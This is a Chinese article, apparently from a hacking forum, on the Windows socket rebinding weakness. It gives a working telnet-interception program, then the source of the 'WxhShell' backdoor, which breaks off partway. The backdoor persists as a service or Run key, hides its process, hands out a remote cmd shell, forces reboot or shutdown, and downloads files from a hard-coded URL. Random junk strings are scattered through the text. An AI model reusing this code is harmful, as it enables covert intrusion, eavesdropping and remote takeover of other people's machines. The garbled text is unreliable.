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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D?FmlDTr[ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^Y%<$IFG i|rC Ga0} saddr.sin_family = AF_INET; @&x'.2[nv hka%!W5 saddr.sin_addr.s_addr = htonl(INADDR_ANY); 07]9VJa $Wu|4]o>9 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); EE*|# ;ojJXH~$} 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8)>4ZNXz BOD!0CR5 这意味着什么?意味着可以进行如下的攻击: ,$Cr9R&/ <'4 8mip 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MDZPp;\) x*p'm[Tdtm 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N2 t` SmAii}-jf 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 kQp*+ras .Fx3WryF 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 2FY]o~@ u2IU/z8
^ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {Iz"]Wh<f DyCkz"1S 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kt kS$ T*g}^TEh 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $Wjx$fD $rJgBN #include ?Yx2q_KZk #include !DUOi4I #include 3a&HW
JBSx #include [{>3"XJ'
DWORD WINAPI ClientThread(LPVOID lpParam); FOteNQTj int main() \t%iUZ$ { /l+"aKW
2 WORD wVersionRequested; #.vp\W DWORD ret; E:-~SH} WSADATA wsaData; x=-(p}0o;< BOOL val; CfVL' SOCKADDR_IN saddr; !K+hXQE1 SOCKADDR_IN scaddr; 1h#/8X int err; HA0F'k SOCKET s; 7jHrLsB SOCKET sc; :9e4(7~ona int caddsize; ?mF:L"i HANDLE mt; S..8,5mBH DWORD tid; :YPi>L5 wVersionRequested = MAKEWORD( 2, 2 ); 1!yd(p=cL err = WSAStartup( wVersionRequested, &wsaData ); xLms|jS if ( err != 0 ) { Xpv<v[a printf("error!WSAStartup failed!\n"); -zWNQp$ return -1; B)/c]"@89 } qO/3:- saddr.sin_family = AF_INET; f@q.kD21 v2a(yH //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +_25E.>ml Hy -)yR saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 138v{Z saddr.sin_port = htons(23); I_e7rE0` if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M`7[hr { ,Vl2U"
printf("error!socket failed!\n"); `[e0_g\ return -1; @
'c(q=K; } 2jlz#Sk val = TRUE; ;$8ptB . //SO_REUSEADDR选项就是可以实现端口重绑定的 l5]R*mR if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) h6bvUI+|h { I!}V+gu= printf("error!setsockopt failed!\n"); eC WF0a return -1; x iz+R9p } pju*i6z //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6pt|Crvu //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 R+!oPWfb //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y;iI=U ]
_W'-B if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) s
Ytn'&$\ { 4>2\{0r ret=GetLastError(); |`pBI0Sjo printf("error!bind failed!\n"); <WnIJum return -1; #DARZh U) } um%s9 listen(s,2); '+ mI
while(1) atW^^4: { t~)4f.F: caddsize = sizeof(scaddr); nE?:nJ|%E //接受连接请求 Ujqnl>l sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /D yig if(sc!=INVALID_SOCKET) i[MBO`FF { y~Yv^'Epf mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); SL`; `// if(mt==NULL) }_-tJ. { !VXy67 printf("Thread Creat Failed!\n"); +Z-{6C break; X-Ev>3H } ,% 'r:@' } .JTRFk{W CloseHandle(mt); }D`ZWTjDay } Ui-Y` closesocket(s); 4=`1C-v?q WSACleanup(); X$G:3uoN return 0; V|F/ynJfA } \){_\{& DWORD WINAPI ClientThread(LPVOID lpParam) q(WGvl^r {
Lsai8 B SOCKET ss = (SOCKET)lpParam; .gNziDO
SOCKET sc; xi4b;U j unsigned char buf[4096]; G$)tp^%] SOCKADDR_IN saddr; [O} D^qp long num; .:4*HB DWORD val; I+ 3qu= DWORD ret; BHS@whj //如果是隐藏端口应用的话,可以在此处加一些判断 vl6|i)D //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 }}u`*&,g saddr.sin_family = AF_INET; &;WK=# saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lxbC 7?O saddr.sin_port = htons(23); U>00B|<GJ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kGC*\?<LmR { ^CM@VmPp printf("error!socket failed!\n"); L]Xx-S return -1; ("{vbs$; } XD?]+ val = 100; H|,d`@U if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]&B/rSC { [6
"5 ret = GetLastError(); mey -Bn return -1; YXmy-o> } 1(*+_TvZ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [Jjo H1E@ { Jt0/*^' ret = GetLastError(); H6>t to return -1; A>315!d" } nv7)X2jja if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }sJ}c}b { 4~&X]/_' printf("error!socket connect failed!\n"); fZS'e{V closesocket(sc); R?,v:S&i7; closesocket(ss); <0m^b#hdG return -1; >WJQxL4 } }6 u)wF5 while(1) wuxOFlrg { r+6 DlT
a //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U#sv.r/L}3 //如果是嗅探内容的话,可以再此处进行内容分析和记录 69Z`mR //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7l09 num = recv(ss,buf,4096,0); ^^24a_+2 if(num>0) {zc*yV\ send(sc,buf,num,0); 0F6@aQ\y3 else if(num==0) |Q@( <'8= break; \d:Uq5d)0 num = recv(sc,buf,4096,0); x_/l,4_ if(num>0) C
OL"/3r send(ss,buf,num,0); Fi 7~JZZ else if(num==0) R<hsG%BS(D break; O*N:.|dUw } 1W-kZ(e closesocket(ss); Lpnw(r9Y closesocket(sc); 0B2f[A return 0 ; "4T36b } s<:);-tL (KfQ'B+ ^5>W`vwp ========================================================== uINEq{yo 7Up-a^k^` 下边附上一个代码,,WXhSHELL !\$4A, EFu$>Z4 ========================================================== kQ_Vj7 vXSA_"0t #include "stdafx.h" QW_v\GHx mq(K_ #include <stdio.h> s0h0EpED #include <string.h> Sht3\cJ8 #include <windows.h> G=CP17&h6 #include <winsock2.h> m(5LXHJnv #include <winsvc.h> MCIuP`sC| #include <urlmon.h> sYSq >M Jvj* z6/a #pragma comment (lib, "Ws2_32.lib") Cv&>:k0V #pragma comment (lib, "urlmon.lib") T
:^OW5 d :RYYjmG5;
#define MAX_USER 100 // 最大客户端连接数 /?|;f2tbV2 #define BUF_SOCK 200 // sock buffer &N3a`Ua #define KEY_BUFF 255 // 输入 buffer k^B7M} Wcl =YB% #define REBOOT 0 // 重启 4(Y-TFaf #define SHUTDOWN 1 // 关机 uKJo5%> y]!mN #define DEF_PORT 5000 // 监听端口 =%u=ma; yFDt%&*n^ #define REG_LEN 16 // 注册表键长度 naeppBo #define SVC_LEN 80 // NT服务名长度 X3XTB* onS4ZE3B // 从dll定义API *13-)yfd
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~H[_= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9I#a{%A: typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %+#l{\z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <~svy)Cz Xg;<?g?k // wxhshell配置信息 y.gNjc struct WSCFG { ;7JyL|2 int ws_port; // 监听端口 _0\wyjjU char ws_passstr[REG_LEN]; // 口令 #k!;=\FV int ws_autoins; // 安装标记, 1=yes 0=no |="Y3}a char ws_regname[REG_LEN]; // 注册表键名 (9] =;) char ws_svcname[REG_LEN]; // 服务名 b"w2 2% char ws_svcdisp[SVC_LEN]; // 服务显示名 B <HD char ws_svcdesc[SVC_LEN]; // 服务描述信息 "CFU$~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b`cH.v int ws_downexe; // 下载执行标记, 1=yes 0=no Iu;VFa char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" z~1S/,Ca char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6pZ/C<Y|W a+9_sUq }; \!0~$?_)P 3cNr~`7 // default Wxhshell configuration Y]B9*^d< struct WSCFG wscfg={DEF_PORT, q'Y)Y(d "xuhuanlingzhe", u=#_8e(9Z 1, Cs,t:ajP "Wxhshell", z}*L*Sk "Wxhshell", mhs%8OTN "WxhShell Service", + eZn "Wrsky Windows CmdShell Service", I=YZ!* f/` "Please Input Your Password: ", $UdFm8& 1, jT-tsQ ., " http://www.wrsky.com/wxhshell.exe", Go~3L8
' "Wxhshell.exe" :/fT8KCwo }; Ro2!$[P F7=&CW 0 // 消息定义模块 k4"O}jQO char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _gCi@uXS3 char *msg_ws_prompt="\n\r? for help\n\r#>"; w (ev=)7< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; @ "CP@^ char *msg_ws_ext="\n\rExit."; _Pl5?5eZj char *msg_ws_end="\n\rQuit."; 5<oV>|*@{ char *msg_ws_boot="\n\rReboot..."; Ik=bgEF char *msg_ws_poff="\n\rShutdown..."; ag!q:6& char *msg_ws_down="\n\rSave to "; A{DE7gp! Z[\nyj char *msg_ws_err="\n\rErr!"; TF,([p* char *msg_ws_ok="\n\rOK!"; C3K")BO! 7|)K! char ExeFile[MAX_PATH]; WOYN%
0# int nUser = 0; yoBR'$-= HANDLE handles[MAX_USER]; Uo|T6N int OsIsNt; H1vToIP% 1{h,LR SERVICE_STATUS serviceStatus; }. V!|R, SERVICE_STATUS_HANDLE hServiceStatusHandle; 4X>=UO``L LcHe5Bv% // 函数声明 Wr4Ob*2iD int Install(void); SMA' VU int Uninstall(void); wPJA+ int DownloadFile(char *sURL, SOCKET wsh); 88DMD"$B int Boot(int flag); gy5R"_ M U void HideProc(void); &Z7 NF| int GetOsVer(void); buMST& int Wxhshell(SOCKET wsl); bp P3#~
K void TalkWithClient(void *cs); -{$L`{|G int CmdShell(SOCKET sock); D}nRH@<` int StartFromService(void); 9t&m\J
>8; int StartWxhshell(LPSTR lpCmdLine); Z.U8d( !XF:.| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g'.(te | VOID WINAPI NTServiceHandler( DWORD fdwControl );
-&np/tEu& (.g?|c // 数据结构和表定义 OX{2@+f# SERVICE_TABLE_ENTRY DispatchTable[] = ^4a|gc { }eLth0d`'o {wscfg.ws_svcname, NTServiceMain}, 73+)> "x> {NULL, NULL} H4ancmy }; $~1~+s0$ QU)AgF[ // 自我安装 $# J int Install(void) @$o^(my { Tpp?(lT7r char svExeFile[MAX_PATH]; XhJYs q]]J HKEY key; .:SY:v r strcpy(svExeFile,ExeFile); K5\;'.9M /)XN^Jwa;m // 如果是win9x系统,修改注册表设为自启动 n%ZOR1u)k# if(!OsIsNt) {
wD $sKd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %9T|"\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )'$'?Fn RegCloseKey(key); IoHYY:[- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -W1Apd%> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <+p{U( RegCloseKey(key); b./MVz return 0; #]s&[O43 } jd}-&DN } PW"uPn } SbD B[O% else { cdD?QnZ 2zbV9Bhq // 如果是NT以上系统,安装为系统服务 s-T#-raE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E~c>LF_]Q if (schSCManager!=0)
dm{/ { RjGJfN{ SC_HANDLE schService = CreateService HP[M"u ( }(w9[(K schSCManager, >8w=Vlp wscfg.ws_svcname, GFYHt!&[\ wscfg.ws_svcdisp, UiN6-{v<2 SERVICE_ALL_ACCESS, sN@=Ri?\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ko`KAU<T_ SERVICE_AUTO_START, SfGl*2 SERVICE_ERROR_NORMAL, ?w>-ya svExeFile, `:fh$V5J> NULL, N=TDywRI NULL, @-aMj NULL, QfI@=Kbg%# NULL, HD8*>p. NULL @[hD;xO ); G"F:68 if (schService!=0) #CNK [y { A=\:b^\ CloseServiceHandle(schService); ew|e66Tw$ CloseServiceHandle(schSCManager); -X,[NI3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~)]R strcat(svExeFile,wscfg.ws_svcname); GvT ~zNd if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oNIt<T RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3KN})*1 RegCloseKey(key); nb #)$l return 0; KDJ-IXoU } >vfbXnN } rHD_sC* CloseServiceHandle(schSCManager); fwz-)?
} 2D'$ } 3 UG
UZ e c4vX return 1; W$Op/ } *dX
7 g66SCr} // 自我卸载 U$=#yg2
: int Uninstall(void) nlR7V. { )|E617g HKEY key; 05Y4=7,! &4jc3_UKV if(!OsIsNt) { 9"b =W@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^y<8&ZFH RegDeleteValue(key,wscfg.ws_regname); 6"u"B-cz RegCloseKey(key); iJ!p9E*( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wdQ%L4l RegDeleteValue(key,wscfg.ws_regname); ngC^@*XAw9 RegCloseKey(key); {9<c*0l return 0; +L|-W9"@3 } \jHIjFwQ
} tY!GJusd } {# Vp`ji else { G^qt@,n$; 5PPaR|c3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2rG$.cGN" if (schSCManager!=0) X.J$
5b { t-VU&.Y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XSe\@t~&g if (schService!=0) &W$s-qf". { b!c2j if(DeleteService(schService)!=0) { I9O%/^5^[w CloseServiceHandle(schService); ]T1\gv1~ CloseServiceHandle(schSCManager); ^/DP%^D return 0; $Lt'xW`8 } p{oc}dWin CloseServiceHandle(schService); $`6Q\=*R/ } cOvdC4 CloseServiceHandle(schSCManager); 4~J g\@ } +vO;J } #B!<gA$/ t lpTq\; return 1;
Ula
h!s } *8I &|)x !]t5(g_ // 从指定url下载文件 `xF^9;5mi int DownloadFile(char *sURL, SOCKET wsh) =.ReM_. { X}_Gk5q* HRESULT hr; Y [%<s/ char seps[]= "/"; pra0:oHN char *token; o&:'MwU char *file; vhKHiw9L char myURL[MAX_PATH]; cE+Y#jB char myFILE[MAX_PATH]; vMeB2r< ZFNg+H/k strcpy(myURL,sURL); rIQ%X`Y token=strtok(myURL,seps); D /bF while(token!=NULL) ,qT+Vqpr{ { f yhBfA:u file=token; K2!GpGZu token=strtok(NULL,seps); qw6i|JM% } _DLELcH
Y [K""6D GetCurrentDirectory(MAX_PATH,myFILE); pI1IDu*_Z strcat(myFILE, "\\"); fHiS'R strcat(myFILE, file); v^3s?VD send(wsh,myFILE,strlen(myFILE),0); 8M8Odz\3 q send(wsh,"...",3,0); X|dlVNL8p hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NY"+Qw@$ if(hr==S_OK) <
%{?Js return 0; ;2[o>73F else hkl9EVO) return 1; HJjx!7h KuZZKh } #R*7y%cO {wvBs87 // 系统电源模块 c;.jo?RR2 int Boot(int flag) <7_s'UAL! { ?ZP@H
_w6} HANDLE hToken; tui5?\ TOKEN_PRIVILEGES tkp; Hd57Iw L'u*WHj|v if(OsIsNt) { <HH\VG\H6 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dheobD LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e5#?@}? tkp.PrivilegeCount = 1; S9%ZeM+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @K1'Q!S* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PC3?eS} if(flag==REBOOT) { 6 l7iX] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]\ t20R{z return 0; *=X61`0 } pch8A0JAl) else { !p!^[/9"c if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rUh2[z8: return 0; @K\hgaQ } )>,ndKT~ } ?10L *PD@ else { QzS=oiL if(flag==REBOOT) { mjKu\7F if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QB;jZpF return 0; .~X&BY>qP } KW(^-:wmr else { oaG;i51! if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5QP`2I_n return 0; &[P(}??Y\ } jwmPy)X|s\ } [xo-ZDIoG {Kz!)uaC return 1; ZC"a#rQ } Q[)3r
,D *yYeqm // win9x进程隐藏模块 8(g}/%1mt3 void HideProc(void) p# JPLCs { ';xp+,'}\ HT7I~]W HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -f["1-A if ( hKernel != NULL ) )zkr[;j~` { S/dj])g pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @cc}[Uw4B ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GD%qrK? FreeLibrary(hKernel); {9vMc } BAojP1}+, ;:/C.%d
return; T&'LQZM8 } CbFO9q jH k.]4&0 // 获取操作系统版本 sKC(xO@L;` int GetOsVer(void) ,*8)aZ1k { ~d-Q3n?zR OSVERSIONINFO winfo; + cZC$lo winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9SXpZ*Sx GetVersionEx(&winfo); 3hcWR'| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SB,#y>Zv? return 1; f`YHZ
O else 49=
K]X return 0; (t5vBUj } EQ]>^VE2B v%7Gh-P // 客户端句柄模块 W@RD
bsc int Wxhshell(SOCKET wsl) Z-3("%_$/ { +V;d^&S SOCKET wsh; w|f@sB>j struct sockaddr_in client; Hi^Z`97c DWORD myID; rJ(A O'= Vi#[kn' while(nUser<MAX_USER) C!Jy;Z=+u { \+"Jg/)ij int nSize=sizeof(client); 5xQ5)B4k wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WO$8j2!~# if(wsh==INVALID_SOCKET) return 1; F`>qg2wO x"A\Z-xxz handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =
u&dU'@q if(handles[nUser]==0) #'.
' |z closesocket(wsh); ZB]234`0 else NR"C@3kD]o nUser++; xVTl } :XOjS[wBm WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %4})_h?j KQ0f2? return 0; udPLWrPF\ } pm2] ra8AUj~RX // 关闭 socket $3xDjiBb void CloseIt(SOCKET wsh) h-fm)1S_ { {vk%&{D0) closesocket(wsh); S<z 8 nUser--; N{<5)L~Y ExitThread(0); !Wj`U$]; } jOZ>^5} E8 5TCS1 // 客户端请求句柄 hqV_MeHv' void TalkWithClient(void *cs) @u`m6``T { yq!peFu Y=,9 M SOCKET wsh=(SOCKET)cs; Gn4XVzB`O char pwd[SVC_LEN]; b>]UNf"- char cmd[KEY_BUFF]; tMXNi\Bj char chr[1]; 4{G>T int i,j; GK1P7Qy?V =i6k[ rg while (nUser < MAX_USER) { OS1f}< _-2;!L#/ if(wscfg.ws_passstr) { j+e
s if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NTSIClm}U //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ExF6y#Y G< //ZeroMemory(pwd,KEY_BUFF); h@J3+u< i=0; nELY( z while(i<SVC_LEN) { BU|)lU5)z PP]7_h^2 // 设置超时 C3~O6<,Jh fd_set FdRead; &UO/p/a struct timeval TimeOut; b5?k gY FD_ZERO(&FdRead); V9cj FD_SET(wsh,&FdRead); _|{Z850AS TimeOut.tv_sec=8; 5g.Kyj| TimeOut.tv_usec=0; 9P*f int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wUL 5"\ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3GrIHiCr (B%[NC6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eI%kxqc pwd =chr[0]; &qM8)2Y if(chr[0]==0xd || chr[0]==0xa) { (M{>9rk8 pwd=0; . BX*C break; TaF;PGjVw } &8I*N6p:%/ i++; _C19eW' } T7o7t5* q
s:TR // 如果是非法用户,关闭 socket NC iBn>=: if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SiJ{ } 7 0EH~ wOLV?Vk send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "U$](k.<VA send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %*RZxR): h92KU while(1) { n/e ,jw $GHi9aj_P ZeroMemory(cmd,KEY_BUFF); FF0~i+5 Ul3xeu // 自动支持客户端 telnet标准 vP\6=71Y j=0; / %iS\R%ca while(j<KEY_BUFF) { Z~[eG"6zI if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4~8-^^ cmd[j]=chr[0]; TX7dwmt)N if(chr[0]==0xa || chr[0]==0xd) { sHPj_d# cmd[j]=0; "<f?.l\+ break; [+="I
& } ~Q5]?ZNX j++; [)il_3t } {s8g;yU5 s#8T46? // 下载文件 9<kMxtk$ if(strstr(cmd,"http://")) { ?mN!9/DIc send(wsh,msg_ws_down,strlen(msg_ws_down),0); irP*:QM if(DownloadFile(cmd,wsh)) :^`WrcOJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); FYb]9MX else 4,?beA send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'I:_}q } Bwu?DK else { IkxoW:L `$FB[Z} & switch(cmd[0]) { DghqSL^s =NSunW! // 帮助 d(Hqj#`-31 case '?': { AYfe_Dj send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s,l*=< break; BuUM~k&SY } T0.sL9 // 安装 e E(+ case 'i': { 0QxBC7`qp if(Install()) &}K%F)S send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 qZbsZi4 else O@w_"TJP/z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PWquu` break; u9u'5xAO } ] mK{E~Zll // 卸载 px(~ZZB" case 'r': { Lr(JnS if(Uninstall()) ="PFCxi send(wsh,msg_ws_err,strlen(msg_ws_err),0); XqwP<5Z else .F[5{XV send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d/awQXKe7 break; P0U&+^W"9 } 4ElS_u^cP7 // 显示 wxhshell 所在路径 DZA '0- case 'p': { 'pO-h,{TS char svExeFile[MAX_PATH]; [fELf(;( strcpy(svExeFile,"\n\r"); V|*3*W strcat(svExeFile,ExeFile); [57`V&c5 send(wsh,svExeFile,strlen(svExeFile),0); UIU6rilB break; 8@|{n`n] } \< a^5' // 重启 T)Q_dF.N case 'b': { 6Q{OM:L/;. send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mS49l if(Boot(REBOOT)) !DV0u)k( send(wsh,msg_ws_err,strlen(msg_ws_err),0); N P5K1: else { .q!i
+0 closesocket(wsh); =
C/F26=| ExitThread(0); jl>wvY|| } /b/ 6*& break; Og?GYe^_ } %?F$3YN, // 关机 ^+gD;a|t case 'd': { : #so"O send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `-K[$V if(Boot(SHUTDOWN)) NL2D, send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q]/{6:C else { %:Y(x$Qy closesocket(wsh); B|{E[]iK ExitThread(0); VW;E14 } lhf5[Rp break; "$ISun=8 } -Rr !J37 // 获取shell V
'fri/Z case 's': { 8Z)wot CmdShell(wsh); ?crK613 t closesocket(wsh); l-x- ExitThread(0);
':DL break; F(^#_tXP } 9E4^hkD& // 退出 +At0V( case 'x': { G]mD_J1$ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ULs'oT)K; CloseIt(wsh); 2 OqEyXh break; |$+/IxDP } @=Dc(5`[ // 离开 `DM)tm3&m case 'q': { Y##lFEt send(wsh,msg_ws_end,strlen(msg_ws_end),0); h`( VMf'# closesocket(wsh); s0Z)BR # WSACleanup(); P:%b[7 exit(1); 'MNCJ;A@V break; g`tV^b") } "D
KrQ,L } Md8<IFi9]Q } P8;1,?ou A]drNFE // 提示信息 WLta{A? if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0O-"tP8o } ( )f) } xD sKb_ ;>F1?5P{ return; oMOh4NH,x } /}iBrMD{[ fr$6&HDZ9 // shell模块句柄 ;vbMC74J# int CmdShell(SOCKET sock) ""_B3' { [/l&:)5W> STARTUPINFO si; iOL/u)
ZeroMemory(&si,sizeof(si)); <Z\{ijfvD si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2vb qz si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MD3iWgM PROCESS_INFORMATION ProcessInfo; ^&$86-PB/ char cmdline[]="cmd"; v!$?;"d+ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wM3m'# xJ return 0; -lAY*2Jg } hTcU
%Nc .[3C // 自身启动模式 Ttp%U8-LJR int StartFromService(void) /-WmOn* { 4gUx#_AaG typedef struct "/2kf)l{4 { 2iO{*cB DWORD ExitStatus; hb
%F"Q DWORD PebBaseAddress; @O-\s q DWORD AffinityMask; &] xtx>qg< DWORD BasePriority; VWzuV&;P ULONG UniqueProcessId; <aI}+ ULONG InheritedFromUniqueProcessId; Cb.M } PROCESS_BASIC_INFORMATION; */K]sQZa (v?
rZv PROCNTQSIP NtQueryInformationProcess; B7'yc`)H Q&"oh static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y0/FyQs static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ` K0PLxSv 6BM$u v4 HANDLE hProcess; S1m5z,G PROCESS_BASIC_INFORMATION pbi; #EB
Rc4>, .b^!f<j HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >.G#\w if(NULL == hInst ) return 0; 7u5H o` 3f~znO g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U3 UA g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
